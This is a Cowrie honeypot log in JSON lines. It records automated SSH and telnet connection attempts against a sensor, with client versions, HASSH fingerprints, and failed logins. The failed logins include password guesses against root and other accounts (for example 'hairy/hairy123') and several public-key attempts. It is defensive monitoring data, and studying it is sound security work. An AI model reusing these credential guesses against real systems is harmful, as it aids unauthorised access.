{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":53386,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a3db1da2d1f","protocol":"ssh","message":"New connection: 62.133.62.83:53386 (159.203.135.109:22) [session: 0a3db1da2d1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:08:35.487512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:08:35.491335Z","src_ip":"62.133.62.83","session":"0a3db1da2d1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:08:35.568908Z","src_ip":"62.133.62.83","session":"0a3db1da2d1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nopasaran","message":"login attempt [root/nopasaran] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:08:35.809505Z","src_ip":"62.133.62.83","session":"0a3db1da2d1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:08:36.891591Z","src_ip":"62.133.62.83","session":"0a3db1da2d1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.849472999572754,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:08:47.047224Z","src_ip":"172.81.62.90","session":"26b444510ee5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.236769676208496,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:08:54.418953Z","src_ip":"172.81.62.90","session":"ac9e6ddfaba6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":48682,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e0626f36663","protocol":"ssh","message":"New connection: 46.19.67.181:48682 (10.17.0.5:22) [session: 4e0626f36663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:08:59.164233Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43792,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a7d31a139e4","protocol":"telnet","message":"New connection: 128.199.8.54:43792 (159.203.135.109:23) [session: 3a7d31a139e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:09:47.656211Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":16370,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd6dbf8b0a61","protocol":"ssh","message":"New connection: 38.93.206.2:16370 (159.203.135.109:22) [session: fd6dbf8b0a61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:09:52.679088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:09:52.684240Z","src_ip":"38.93.206.2","session":"fd6dbf8b0a61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:09:52.742457Z","src_ip":"38.93.206.2","session":"fd6dbf8b0a61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"210580","message":"login attempt [root/210580] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:09:52.897409Z","src_ip":"38.93.206.2","session":"fd6dbf8b0a61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:09:53.966426Z","src_ip":"38.93.206.2","session":"fd6dbf8b0a61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":53630,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d1103424462","protocol":"telnet","message":"New connection: 172.81.62.90:53630 (159.203.135.109:23) [session: 6d1103424462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:10:11.456915Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":53640,"dst_ip":"159.203.135.109","dst_port":23,"session":"798cd892356e","protocol":"telnet","message":"New connection: 172.81.62.90:53640 (159.203.135.109:23) [session: 798cd892356e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:10:15.553087Z"}
{"eventid":"cowrie.session.closed","duration":35.69660305976868,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:10:23.352674Z","src_ip":"128.199.8.54","session":"3a7d31a139e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.961557388305664,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:10:28.418322Z","src_ip":"172.81.62.90","session":"6d1103424462","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.166.242.149","src_port":34304,"dst_ip":"159.203.135.109","dst_port":22,"session":"f64a3018e7e3","protocol":"ssh","message":"New connection: 43.166.242.149:34304 (159.203.135.109:22) [session: f64a3018e7e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:10:30.161622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:10:30.166237Z","src_ip":"43.166.242.149","session":"f64a3018e7e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:10:30.184089Z","src_ip":"43.166.242.149","session":"f64a3018e7e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hairy","password":"hairy123","message":"login attempt [hairy/hairy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:10:30.684597Z","src_ip":"43.166.242.149","session":"f64a3018e7e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:10:31.699845Z","src_ip":"43.166.242.149","session":"f64a3018e7e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":59358,"dst_ip":"10.17.0.5","dst_port":23,"session":"000aea7ba2a2","protocol":"telnet","message":"New connection: 94.23.66.112:59358 (10.17.0.5:23) [session: 000aea7ba2a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:10:34.994052Z"}
{"eventid":"cowrie.session.closed","duration":0.005068302154541016,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:10:34.998934Z","src_ip":"94.23.66.112","session":"000aea7ba2a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":49520,"dst_ip":"159.203.135.109","dst_port":22,"session":"1675def9a3a5","protocol":"ssh","message":"New connection: 103.149.28.157:49520 (159.203.135.109:22) [session: 1675def9a3a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:10:38.249767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:10:38.257039Z","src_ip":"103.149.28.157","session":"1675def9a3a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:10:38.515862Z","src_ip":"103.149.28.157","session":"1675def9a3a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"220481","message":"login attempt [root/220481] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:10:39.295927Z","src_ip":"103.149.28.157","session":"1675def9a3a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:10:40.560126Z","src_ip":"103.149.28.157","session":"1675def9a3a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.242.107","src_port":47120,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5b2d826d172","protocol":"ssh","message":"New connection: 208.87.242.107:47120 (10.17.0.5:22) [session: a5b2d826d172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:10:48.643034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:10:48.647431Z","src_ip":"208.87.242.107","session":"a5b2d826d172","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:10:48.716511Z","src_ip":"208.87.242.107","session":"a5b2d826d172","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fb:6a:fa:9d:7d:e6:28:4d:22:59:98:72:d7:ea:18:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMZrJyWus7Sf580Jcx+Su2EqWLNwqfP/G5aIC84ImkUOW3AcmLNvnbBtsdGiIM8aMeJjc3hDEVkf8a6vHXWlaz8w4GOJYDWgbXBpWN6ZiIBiUfPQCR/vS50IkWfgeSW1CmJwgEwiU1BNR+11IEjFGfRcDpxU60qS5jRNpLfzRqAupy1kMEVb+8hxHoSaun87osQQw/3MzBNDBrLWVQSqq/4Fc29JrW/T3TMXzXeP2g5nygN0LPA7/tgMFkgumPff06IH+RezYxqmuC15iryujY0wRbFQ5xQ4tctSMqlQl0ivrBjhCfWaiJn7Gk1YiPFJ4v150aD7cxaZE2csUxZL4J","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fb:6a:fa:9d:7d:e6:28:4d:22:59:98:72:d7:ea:18:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:10:49.038577Z","src_ip":"208.87.242.107","session":"a5b2d826d172","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fb:6a:fa:9d:7d:e6:28:4d:22:59:98:72:d7:ea:18:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMZrJyWus7Sf580Jcx+Su2EqWLNwqfP/G5aIC84ImkUOW3AcmLNvnbBtsdGiIM8aMeJjc3hDEVkf8a6vHXWlaz8w4GOJYDWgbXBpWN6ZiIBiUfPQCR/vS50IkWfgeSW1CmJwgEwiU1BNR+11IEjFGfRcDpxU60qS5jRNpLfzRqAupy1kMEVb+8hxHoSaun87osQQw/3MzBNDBrLWVQSqq/4Fc29JrW/T3TMXzXeP2g5nygN0LPA7/tgMFkgumPff06IH+RezYxqmuC15iryujY0wRbFQ5xQ4tctSMqlQl0ivrBjhCfWaiJn7Gk1YiPFJ4v150aD7cxaZE2csUxZL4J","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:10:49.042435Z","src_ip":"208.87.242.107","session":"a5b2d826d172","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:9c:d4:7a:17:f2:2e:e2:8a:a1:eb:aa:76:62:ab:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDdmdoZfRGApdKkMMMEC+u/ZLeabNqXyyS8FtJga6wonRlV04w7BvH+mBnJiaeQBwGtlmgm0BJsqIwaUw/cwSOZexIX3eSzkdPbrpSgjC/SO1tYGlw84MVyYAQ4Q97e/lZ1uXmHPdDp//UeJXiTOs1wYfwXrm37dbx4KTSci4hLo8wSRcrd9IJmfYtTpnNV2DqDAL3JPCFuplxPm4n366mghz0dDlCrjBCZAnDmgRiTpAD1SRW0SRLllY3vch9Z9Zn2HgmOyiZrIYMlMYlnZl4301zJvXaFY775MuwaHepa/BqnLLHw/0m8751z28j/xbsIN2X9799xdsPSLLG2JUOyyTCaYC7dn5bV9/4DQEU9cp7NHP4v1Qf3QdCT4Mv2FuaV0H7w18HBK9ujRRXD3pPTD/mYX+6gIDCbj10oBCBRtRsXWHBIl0rgQUWVFCUFJRoDvBlg36ag/3q1w1jJMu0haKRVUdWnOGMDVqqThPz9QNDxVE1LSahgacy3zPsGNOszAYXEGSjPMiea5lT0dHqVoZa4Ux2eqsKdcWHqIVPymZgTbta72iWLldrlyM7dQeimHSAa416HbBy6pN0yDEyhA1ECsDEbKp9WiqxDrIGwqVKo03HE3/bKcVRvpWk/AbKRDKISHyHpNak3deUfRp5CN/M4lTW7t8LdP/7dWyO51w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 34:9c:d4:7a:17:f2:2e:e2:8a:a1:eb:aa:76:62:ab:d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:10:49.113369Z","src_ip":"208.87.242.107","session":"a5b2d826d172","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:9c:d4:7a:17:f2:2e:e2:8a:a1:eb:aa:76:62:ab:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDdmdoZfRGApdKkMMMEC+u/ZLeabNqXyyS8FtJga6wonRlV04w7BvH+mBnJiaeQBwGtlmgm0BJsqIwaUw/cwSOZexIX3eSzkdPbrpSgjC/SO1tYGlw84MVyYAQ4Q97e/lZ1uXmHPdDp//UeJXiTOs1wYfwXrm37dbx4KTSci4hLo8wSRcrd9IJmfYtTpnNV2DqDAL3JPCFuplxPm4n366mghz0dDlCrjBCZAnDmgRiTpAD1SRW0SRLllY3vch9Z9Zn2HgmOyiZrIYMlMYlnZl4301zJvXaFY775MuwaHepa/BqnLLHw/0m8751z28j/xbsIN2X9799xdsPSLLG2JUOyyTCaYC7dn5bV9/4DQEU9cp7NHP4v1Qf3QdCT4Mv2FuaV0H7w18HBK9ujRRXD3pPTD/mYX+6gIDCbj10oBCBRtRsXWHBIl0rgQUWVFCUFJRoDvBlg36ag/3q1w1jJMu0haKRVUdWnOGMDVqqThPz9QNDxVE1LSahgacy3zPsGNOszAYXEGSjPMiea5lT0dHqVoZa4Ux2eqsKdcWHqIVPymZgTbta72iWLldrlyM7dQeimHSAa416HbBy6pN0yDEyhA1ECsDEbKp9WiqxDrIGwqVKo03HE3/bKcVRvpWk/AbKRDKISHyHpNak3deUfRp5CN/M4lTW7t8LdP/7dWyO51w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:10:49.116663Z","src_ip":"208.87.242.107","session":"a5b2d826d172","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"33:0f:26:22:8f:52:e7:a9:1d:ec:6a:11:04:1f:7e:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHcC1Ef8jdpgoeYe/UTfStWKOk/Cfu6Na161fkpVPqsBVVl2UqqpSlwkUrL66QbO7yLilVLG1BrzuA69rHy/WHjyAYiLi9hCy/0jvkIZwD/q5VlfIiJIVscv9P7DV9LqhOYvGFIN/evkjGlkwr8i9t1a25RWttxCLYvM/FEXAaAZ16rVMRSkMczOC1grsTsLdlNcg4WIz2v0XB31zqB+RRDr6zAaw2U2cRcNRc8FvBqz9KT+TeufvjzT39q9JFTejBF+ycfO8KFNK4TXsHWoUoQPWO9oAyBWA86YoGr/D1ret/cXXpWlMwWL94t8bznq8L1j85BstjvTefenTeLo0R","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 33:0f:26:22:8f:52:e7:a9:1d:ec:6a:11:04:1f:7e:72","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:10:49.192803Z","src_ip":"208.87.242.107","session":"a5b2d826d172","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"33:0f:26:22:8f:52:e7:a9:1d:ec:6a:11:04:1f:7e:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHcC1Ef8jdpgoeYe/UTfStWKOk/Cfu6Na161fkpVPqsBVVl2UqqpSlwkUrL66QbO7yLilVLG1BrzuA69rHy/WHjyAYiLi9hCy/0jvkIZwD/q5VlfIiJIVscv9P7DV9LqhOYvGFIN/evkjGlkwr8i9t1a25RWttxCLYvM/FEXAaAZ16rVMRSkMczOC1grsTsLdlNcg4WIz2v0XB31zqB+RRDr6zAaw2U2cRcNRc8FvBqz9KT+TeufvjzT39q9JFTejBF+ycfO8KFNK4TXsHWoUoQPWO9oAyBWA86YoGr/D1ret/cXXpWlMwWL94t8bznq8L1j85BstjvTefenTeLo0R","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:10:49.196113Z","src_ip":"208.87.242.107","session":"a5b2d826d172","protocol":"ssh"}
